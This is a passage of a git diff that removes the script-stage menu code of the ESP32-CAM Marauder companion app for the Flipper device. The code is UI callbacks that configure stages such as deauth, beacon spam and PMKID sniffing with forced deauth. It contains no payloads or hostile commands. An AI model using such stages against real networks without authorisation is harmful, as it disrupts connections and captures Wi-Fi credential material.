"wifi_marauder_script_stage_menu_config.h" -#undef ADD_STAGE - } - return script_stage_menu; -} - -void wifi_marauder_script_stage_menu_free(WifiMarauderScriptStageMenu* stage_menu) { - if(stage_menu == NULL) { - return; - } - for(uint32_t i = 0; i < stage_menu->num_items; i++) { - WifiMarauderScriptMenuItem* item = &(stage_menu->items[i]); - for(int j = 0; j < item->num_options; j++) { - free(item->options[j]); - } - free(item->name); - } - free(stage_menu->items); - free(stage_menu); -} diff --git a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu.h b/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu.h deleted file mode 100644 index f5186526c..000000000 --- a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu.h +++ /dev/null @@ -1,42 +0,0 @@ -#pragma once - -#include -#include "../wifi_marauder_script.h" - -#define ITEM_EDIT_MAX_OPTIONS (12) - -typedef void (*VariableItemSetupCallback)(VariableItem* item); -typedef void (*VariableItemSelectCallback)(void* context); - -typedef enum WifiMarauderScriptMenuItemType { - WifiMarauderScriptMenuItemTypeString, - WifiMarauderScriptMenuItemTypeNumber, - WifiMarauderScriptMenuItemTypeOptionsString, - WifiMarauderScriptMenuItemTypeOptionsNumber, - WifiMarauderScriptMenuItemTypeListString, - WifiMarauderScriptMenuItemTypeListNumber -} WifiMarauderScriptMenuItemType; - -typedef struct WifiMarauderScriptMenuItem { - char* name; - WifiMarauderScriptMenuItemType type; - int num_options; - char* options[ITEM_EDIT_MAX_OPTIONS]; - VariableItemSetupCallback setup_callback; - VariableItemChangeCallback change_callback; - VariableItemSelectCallback select_callback; -} WifiMarauderScriptMenuItem; - -typedef struct WifiMarauderScriptStageMenu { - WifiMarauderScriptMenuItem* items; - uint32_t num_items; -} WifiMarauderScriptStageMenu; - -#define ADD_STAGE(name, id) \ - void wifi_marauder_script_stage_menu_##name##_load(WifiMarauderScriptStageMenu*); -#include "wifi_marauder_script_stage_menu_config.h" -#undef ADD_STAGE - -WifiMarauderScriptStageMenu* - wifi_marauder_script_stage_menu_create(WifiMarauderScriptStageType stage_type); -void wifi_marauder_script_stage_menu_free(WifiMarauderScriptStageMenu* list); diff --git a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_beaconap.c b/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_beaconap.c deleted file mode 100644 index 35a74ee3d..000000000 --- a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_beaconap.c +++ /dev/null @@ -1,27 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_beaconap_stage_timeout_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageBeaconAp* stage = app->script_edit_selected_stage->stage; - char timeout_str[32]; - snprintf(timeout_str, sizeof(timeout_str), "%d", stage->timeout); - variable_item_set_current_value_text(item, timeout_str); -} - -void wifi_marauder_beaconap_stage_timeout_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageBeaconAp* stage_beaconap = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_beaconap->timeout; -} - -void wifi_marauder_script_stage_menu_beaconap_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 1; - stage_menu->items = malloc(1 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = "Timeout", - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_beaconap_stage_timeout_setup_callback, - .select_callback = wifi_marauder_beaconap_stage_timeout_select_callback}; -} \ No newline at end of file diff --git a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_beaconlist.c b/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_beaconlist.c deleted file mode 100644 index 6f320db3e..000000000 --- a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_beaconlist.c +++ /dev/null @@ -1,59 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_beaconlist_stage_ssids_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageBeaconList* stage_beaconlist = app->script_edit_selected_stage->stage; - app->script_stage_edit_strings_reference = &stage_beaconlist->ssids; - app->script_stage_edit_string_count_reference = &stage_beaconlist->ssid_count; -} - -void wifi_marauder_beaconlist_stage_random_ssids_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageBeaconList* stage = app->script_edit_selected_stage->stage; - char random_ssids_str[32]; - snprintf(random_ssids_str, sizeof(random_ssids_str), "%d", stage->random_ssids); - variable_item_set_current_value_text(item, random_ssids_str); -} - -void wifi_marauder_beaconlist_stage_random_ssids_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageBeaconList* stage_beaconlist = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_beaconlist->random_ssids; -} - -void wifi_marauder_beaconlist_stage_timeout_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageBeaconList* stage = app->script_edit_selected_stage->stage; - char timeout_str[32]; - snprintf(timeout_str, sizeof(timeout_str), "%d", stage->timeout); - variable_item_set_current_value_text(item, timeout_str); -} - -void wifi_marauder_beaconlist_stage_timeout_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageBeaconList* stage_beaconlist = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_beaconlist->timeout; -} - -void wifi_marauder_script_stage_menu_beaconlist_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 3; - stage_menu->items = malloc(3 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("SSIDs"), - .type = WifiMarauderScriptMenuItemTypeListString, - .num_options = 1, - .select_callback = wifi_marauder_beaconlist_stage_ssids_select_callback}; - stage_menu->items[1] = (WifiMarauderScriptMenuItem){ - .name = strdup("Generate random"), - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_beaconlist_stage_random_ssids_setup_callback, - .select_callback = wifi_marauder_beaconlist_stage_random_ssids_select_callback}; - stage_menu->items[2] = (WifiMarauderScriptMenuItem){ - .name = strdup("Timeout"), - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_beaconlist_stage_timeout_setup_callback, - .select_callback = wifi_marauder_beaconlist_stage_timeout_select_callback}; -} \ No newline at end of file diff --git a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_config.h b/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_config.h deleted file mode 100644 index 1fd2a314b..000000000 --- a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_config.h +++ /dev/null @@ -1,14 +0,0 @@ -ADD_STAGE(scan, Scan) -ADD_STAGE(select, Select) -ADD_STAGE(deauth, Deauth) -ADD_STAGE(probe, Probe) -ADD_STAGE(sniffraw, SniffRaw) -ADD_STAGE(sniffbeacon, SniffBeacon) -ADD_STAGE(sniffdeauth, SniffDeauth) -ADD_STAGE(sniffesp, SniffEsp) -ADD_STAGE(sniffpmkid, SniffPmkid) -ADD_STAGE(sniffpwn, SniffPwn) -ADD_STAGE(beaconlist, BeaconList) -ADD_STAGE(beaconap, BeaconAp) -ADD_STAGE(exec, Exec) -ADD_STAGE(delay, Delay) \ No newline at end of file diff --git a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_deauth.c b/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_deauth.c deleted file mode 100644 index b15b6f461..000000000 --- a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_deauth.c +++ /dev/null @@ -1,27 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_deauth_stage_timeout_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageDeauth* stage = app->script_edit_selected_stage->stage; - char timeout_str[32]; - snprintf(timeout_str, sizeof(timeout_str), "%d", stage->timeout); - variable_item_set_current_value_text(item, timeout_str); -} - -void wifi_marauder_deauth_stage_timeout_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageDeauth* stage_deauth = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_deauth->timeout; -} - -void wifi_marauder_script_stage_menu_deauth_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 1; - stage_menu->items = malloc(1 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("Timeout"), - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_deauth_stage_timeout_setup_callback, - .select_callback = wifi_marauder_deauth_stage_timeout_select_callback}; -} \ No newline at end of file diff --git a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_delay.c b/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_delay.c deleted file mode 100644 index ffd74f720..000000000 --- a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_delay.c +++ /dev/null @@ -1,27 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_delay_stage_timeout_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageDelay* stage = app->script_edit_selected_stage->stage; - char timeout_str[32]; - snprintf(timeout_str, sizeof(timeout_str), "%d", stage->timeout); - variable_item_set_current_value_text(item, timeout_str); -} - -void wifi_marauder_delay_stage_timeout_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageDelay* stage_delay = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_delay->timeout; -} - -void wifi_marauder_script_stage_menu_delay_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 1; - stage_menu->items = malloc(1 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("Timeout"), - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_delay_stage_timeout_setup_callback, - .select_callback = wifi_marauder_delay_stage_timeout_select_callback}; -} \ No newline at end of file diff --git a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_exec.c b/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_exec.c deleted file mode 100644 index 62afdc2f3..000000000 --- a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_exec.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_exec_stage_filter_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageExec* stage = app->script_edit_selected_stage->stage; - if(stage->command != NULL) { - variable_item_set_current_value_text(item, stage->command); - } -} - -void wifi_marauder_exec_stage_filter_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageExec* stage_select = app->script_edit_selected_stage->stage; - if(stage_select->command == NULL) { - stage_select->command = malloc(128); - } - app->user_input_string_reference = &stage_select->command; -} - -void wifi_marauder_script_stage_menu_exec_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 1; - stage_menu->items = malloc(1 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("Command"), - .type = WifiMarauderScriptMenuItemTypeString, - .num_options = 1, - .setup_callback = wifi_marauder_exec_stage_filter_setup_callback, - .select_callback = wifi_marauder_exec_stage_filter_select_callback}; -} \ No newline at end of file diff --git a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_probe.c b/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_probe.c deleted file mode 100644 index 53fa26f47..000000000 --- a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_probe.c +++ /dev/null @@ -1,27 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_probe_stage_timeout_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageProbe* stage = app->script_edit_selected_stage->stage; - char timeout_str[32]; - snprintf(timeout_str, sizeof(timeout_str), "%d", stage->timeout); - variable_item_set_current_value_text(item, timeout_str); -} - -void wifi_marauder_probe_stage_timeout_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageProbe* stage_probe = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_probe->timeout; -} - -void wifi_marauder_script_stage_menu_probe_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 1; - stage_menu->items = malloc(1 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("Timeout"), - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_probe_stage_timeout_setup_callback, - .select_callback = wifi_marauder_probe_stage_timeout_select_callback}; -} \ No newline at end of file diff --git a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_scan.c b/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_scan.c deleted file mode 100644 index 3aab740bb..000000000 --- a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_scan.c +++ /dev/null @@ -1,93 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_scan_stage_type_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageScan* stage = app->script_edit_selected_stage->stage; - variable_item_set_current_value_index(item, stage->type); -} - -void wifi_marauder_scan_stage_type_change_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - - // Get menu item - uint8_t current_stage_index = variable_item_list_get_selected_item_index(app->var_item_list); - const WifiMarauderScriptMenuItem* menu_item = - &app->script_stage_menu->items[current_stage_index]; - - // Defines the text of the selected option - uint8_t option_index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, menu_item->options[option_index]); - - // Updates the attribute value of the current stage - WifiMarauderScriptStageScan* stage = app->script_edit_selected_stage->stage; - stage->type = option_index; -} - -void wifi_marauder_scan_stage_channel_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageScan* stage = app->script_edit_selected_stage->stage; - if(stage->channel >= 0 && stage->channel < 12) { - variable_item_set_current_value_index(item, stage->channel); - } else { - variable_item_set_current_value_index(item, 0); - } -} - -void wifi_marauder_scan_stage_channel_change_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - - // Get menu item - uint8_t current_stage_index = variable_item_list_get_selected_item_index(app->var_item_list); - const WifiMarauderScriptMenuItem* menu_item = - &app->script_stage_menu->items[current_stage_index]; - - // Defines the text of the selected option - uint8_t option_index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, menu_item->options[option_index]); - - // Updates the attribute value of the current stage - WifiMarauderScriptStageScan* stage = app->script_edit_selected_stage->stage; - stage->channel = option_index; -} - -void wifi_marauder_scan_stage_timeout_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageScan* stage = app->script_edit_selected_stage->stage; - char timeout_str[32]; - snprintf(timeout_str, sizeof(timeout_str), "%d", stage->timeout); - variable_item_set_current_value_text(item, timeout_str); -} - -void wifi_marauder_scan_stage_timeout_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageScan* stage_scan = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_scan->timeout; -} - -void wifi_marauder_script_stage_menu_scan_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 3; - stage_menu->items = malloc(3 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("Type"), - .type = WifiMarauderScriptMenuItemTypeOptionsString, - .num_options = 2, - .options = {"ap", "station"}, - .setup_callback = wifi_marauder_scan_stage_type_setup_callback, - .change_callback = wifi_marauder_scan_stage_type_change_callback, - }; - stage_menu->items[1] = (WifiMarauderScriptMenuItem){ - .name = strdup("Channel"), - .type = WifiMarauderScriptMenuItemTypeOptionsNumber, - .num_options = 12, - .options = {"none", "1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11"}, - .setup_callback = wifi_marauder_scan_stage_channel_setup_callback, - .change_callback = wifi_marauder_scan_stage_channel_change_callback, - }; - stage_menu->items[2] = (WifiMarauderScriptMenuItem){ - .name = strdup("Timeout"), - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_scan_stage_timeout_setup_callback, - .select_callback = wifi_marauder_scan_stage_timeout_select_callback}; -} \ No newline at end of file diff --git a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_select.c b/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_select.c deleted file mode 100644 index a6121db95..000000000 --- a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_select.c +++ /dev/null @@ -1,95 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_select_stage_type_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageSelect* stage = app->script_edit_selected_stage->stage; - variable_item_set_current_value_index(item, stage->type); -} - -void wifi_marauder_select_stage_type_change_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - - // Get menu item - uint8_t current_stage_index = variable_item_list_get_selected_item_index(app->var_item_list); - const WifiMarauderScriptMenuItem* menu_item = - &app->script_stage_menu->items[current_stage_index]; - - // Defines the text of the selected option - uint8_t option_index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, menu_item->options[option_index]); - - // Updates the attribute value of the current stage - WifiMarauderScriptStageSelect* stage = app->script_edit_selected_stage->stage; - stage->type = option_index; -} - -void wifi_marauder_select_stage_filter_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageSelect* stage = app->script_edit_selected_stage->stage; - - if(stage->filter != NULL) { - variable_item_set_current_value_index(item, 0); - variable_item_set_current_value_text(item, stage->filter); - } else { - variable_item_set_current_value_index(item, 1); - } -} - -void wifi_marauder_select_stage_filter_change_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageSelect* stage = app->script_edit_selected_stage->stage; - - // Clears the filter if you change the option. Flipper input box does not accept blank text - if(variable_item_get_current_value_index(item) == 1) { - stage->filter = NULL; - variable_item_set_current_value_index(item, 0); - variable_item_set_values_count(item, 1); - } - - if(stage->filter != NULL) { - variable_item_set_current_value_text(item, stage->filter); - } else { - variable_item_set_current_value_text(item, ""); - } -} - -void wifi_marauder_select_stage_filter_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageSelect* stage_select = app->script_edit_selected_stage->stage; - if(stage_select->filter == NULL) { - stage_select->filter = malloc(128); - } - app->user_input_string_reference = &stage_select->filter; -} - -void wifi_marauder_select_stage_indexes_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageSelect* stage_select = app->script_edit_selected_stage->stage; - app->script_stage_edit_numbers_reference = &stage_select->indexes; - app->script_stage_edit_number_count_reference = &stage_select->index_count; -} - -void wifi_marauder_script_stage_menu_select_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 3; - stage_menu->items = malloc(3 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("Type"), - .type = WifiMarauderScriptMenuItemTypeOptionsString, - .num_options = 2, - .options = {"ap", "station"}, - .setup_callback = wifi_marauder_select_stage_type_setup_callback, - .change_callback = wifi_marauder_select_stage_type_change_callback}; - stage_menu->items[1] = (WifiMarauderScriptMenuItem){ - .name = strdup("Filter"), - .type = WifiMarauderScriptMenuItemTypeString, - .num_options = 2, - .setup_callback = wifi_marauder_select_stage_filter_setup_callback, - .change_callback = wifi_marauder_select_stage_filter_change_callback, - .select_callback = wifi_marauder_select_stage_filter_select_callback}; - stage_menu->items[2] = (WifiMarauderScriptMenuItem){ - .name = strdup("Indexes"), - .type = WifiMarauderScriptMenuItemTypeListNumber, - .num_options = 1, - .select_callback = wifi_marauder_select_stage_indexes_select_callback}; -} \ No newline at end of file diff --git a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffbeacon.c b/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffbeacon.c deleted file mode 100644 index 11e7b3297..000000000 --- a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffbeacon.c +++ /dev/null @@ -1,27 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_sniffbeacon_stage_timeout_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageSniffBeacon* stage = app->script_edit_selected_stage->stage; - char timeout_str[32]; - snprintf(timeout_str, sizeof(timeout_str), "%d", stage->timeout); - variable_item_set_current_value_text(item, timeout_str); -} - -void wifi_marauder_sniffbeacon_stage_timeout_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageSniffBeacon* stage_sniffbeacon = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_sniffbeacon->timeout; -} - -void wifi_marauder_script_stage_menu_sniffbeacon_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 1; - stage_menu->items = malloc(1 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("Timeout"), - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_sniffbeacon_stage_timeout_setup_callback, - .select_callback = wifi_marauder_sniffbeacon_stage_timeout_select_callback}; -} \ No newline at end of file diff --git a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffdeauth.c b/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffdeauth.c deleted file mode 100644 index 935a55936..000000000 --- a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffdeauth.c +++ /dev/null @@ -1,27 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_sniffdeauth_stage_timeout_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageSniffDeauth* stage = app->script_edit_selected_stage->stage; - char timeout_str[32]; - snprintf(timeout_str, sizeof(timeout_str), "%d", stage->timeout); - variable_item_set_current_value_text(item, timeout_str); -} - -void wifi_marauder_sniffdeauth_stage_timeout_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageSniffDeauth* stage_sniffdeauth = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_sniffdeauth->timeout; -} - -void wifi_marauder_script_stage_menu_sniffdeauth_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 1; - stage_menu->items = malloc(1 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("Timeout"), - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_sniffdeauth_stage_timeout_setup_callback, - .select_callback = wifi_marauder_sniffdeauth_stage_timeout_select_callback}; -} \ No newline at end of file diff --git a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffesp.c b/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffesp.c deleted file mode 100644 index e90d6b06c..000000000 --- a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffesp.c +++ /dev/null @@ -1,27 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -void wifi_marauder_sniffesp_stage_timeout_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageSniffEsp* stage = app->script_edit_selected_stage->stage; - char timeout_str[32]; - snprintf(timeout_str, sizeof(timeout_str), "%d", stage->timeout); - variable_item_set_current_value_text(item, timeout_str); -} - -void wifi_marauder_sniffesp_stage_timeout_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageSniffEsp* stage_sniffesp = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_sniffesp->timeout; -} - -void wifi_marauder_script_stage_menu_sniffesp_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 1; - stage_menu->items = malloc(1 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("Timeout"), - .type = WifiMarauderScriptMenuItemTypeNumber, - .num_options = 1, - .setup_callback = wifi_marauder_sniffesp_stage_timeout_setup_callback, - .select_callback = wifi_marauder_sniffesp_stage_timeout_select_callback}; -} \ No newline at end of file diff --git a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffpmkid.c b/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffpmkid.c deleted file mode 100644 index 6a591c4e0..000000000 --- a/applications/external/esp32cam_marauder_companion/script/menu/wifi_marauder_script_stage_menu_sniffpmkid.c +++ /dev/null @@ -1,118 +0,0 @@ -#include "../../wifi_marauder_app_i.h" - -static void wifi_marauder_sniffpmkid_stage_hop_channels_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageSniffPmkid* stage = app->script_edit_selected_stage->stage; - variable_item_set_current_value_index(item, stage->hop_channels); -} - -static void wifi_marauder_sniffpmkid_stage_hop_channels_change_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - - uint8_t current_stage_index = variable_item_list_get_selected_item_index(app->var_item_list); - const WifiMarauderScriptMenuItem* menu_item = - &app->script_stage_menu->items[current_stage_index]; - - uint8_t option_index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, menu_item->options[option_index]); - - WifiMarauderScriptStageSniffPmkid* stage = app->script_edit_selected_stage->stage; - stage->hop_channels = option_index; -} - -static void wifi_marauder_sniffpmkid_stage_force_deauth_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageSniffPmkid* stage = app->script_edit_selected_stage->stage; - variable_item_set_current_value_index(item, stage->force_deauth); -} - -static void wifi_marauder_sniffpmkid_stage_force_deauth_change_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - - // Get menu item - uint8_t current_stage_index = variable_item_list_get_selected_item_index(app->var_item_list); - const WifiMarauderScriptMenuItem* menu_item = - &app->script_stage_menu->items[current_stage_index]; - - // Defines the text of the selected option - uint8_t option_index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, menu_item->options[option_index]); - - // Updates the attribute value of the current stage - WifiMarauderScriptStageSniffPmkid* stage = app->script_edit_selected_stage->stage; - stage->force_deauth = option_index; -} - -static void wifi_marauder_sniffpmkid_stage_channel_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageSniffPmkid* stage = app->script_edit_selected_stage->stage; - if(stage->channel >= 0 && stage->channel < 12) { - variable_item_set_current_value_index(item, stage->channel); - } else { - variable_item_set_current_value_index(item, 0); - } -} - -static void wifi_marauder_sniffpmkid_stage_channel_change_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - - // Get menu item - uint8_t current_stage_index = variable_item_list_get_selected_item_index(app->var_item_list); - const WifiMarauderScriptMenuItem* menu_item = - &app->script_stage_menu->items[current_stage_index]; - - // Defines the text of the selected option - uint8_t option_index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, menu_item->options[option_index]); - - // Updates the attribute value of the current stage - WifiMarauderScriptStageSniffPmkid* stage = app->script_edit_selected_stage->stage; - stage->channel = option_index; -} - -static void wifi_marauder_sniffpmkid_stage_timeout_setup_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - WifiMarauderScriptStageSniffPmkid* stage = app->script_edit_selected_stage->stage; - char timeout_str[32]; - snprintf(timeout_str, sizeof(timeout_str), "%d", stage->timeout); - variable_item_set_current_value_text(item, timeout_str); -} - -static void wifi_marauder_sniffpmkid_stage_timeout_select_callback(void* context) { - WifiMarauderApp* app = context; - WifiMarauderScriptStageSniffPmkid* stage_sniffpmkid = app->script_edit_selected_stage->stage; - app->user_input_number_reference = &stage_sniffpmkid->timeout; -} - -void wifi_marauder_script_stage_menu_sniffpmkid_load(WifiMarauderScriptStageMenu* stage_menu) { - stage_menu->num_items = 4; - stage_menu->items = malloc(4 * sizeof(WifiMarauderScriptMenuItem)); - - stage_menu->items[0] = (WifiMarauderScriptMenuItem){ - .name = strdup("Force deauth"), - .type = WifiMarauderScriptMenuItemTypeOptionsString, - .num_options = 2, - .options = {"no", "yes"}, - .setup_callback = wifi_marauder_sniffpmkid_stage_force_deauth_setup_callback, - .change_callback = 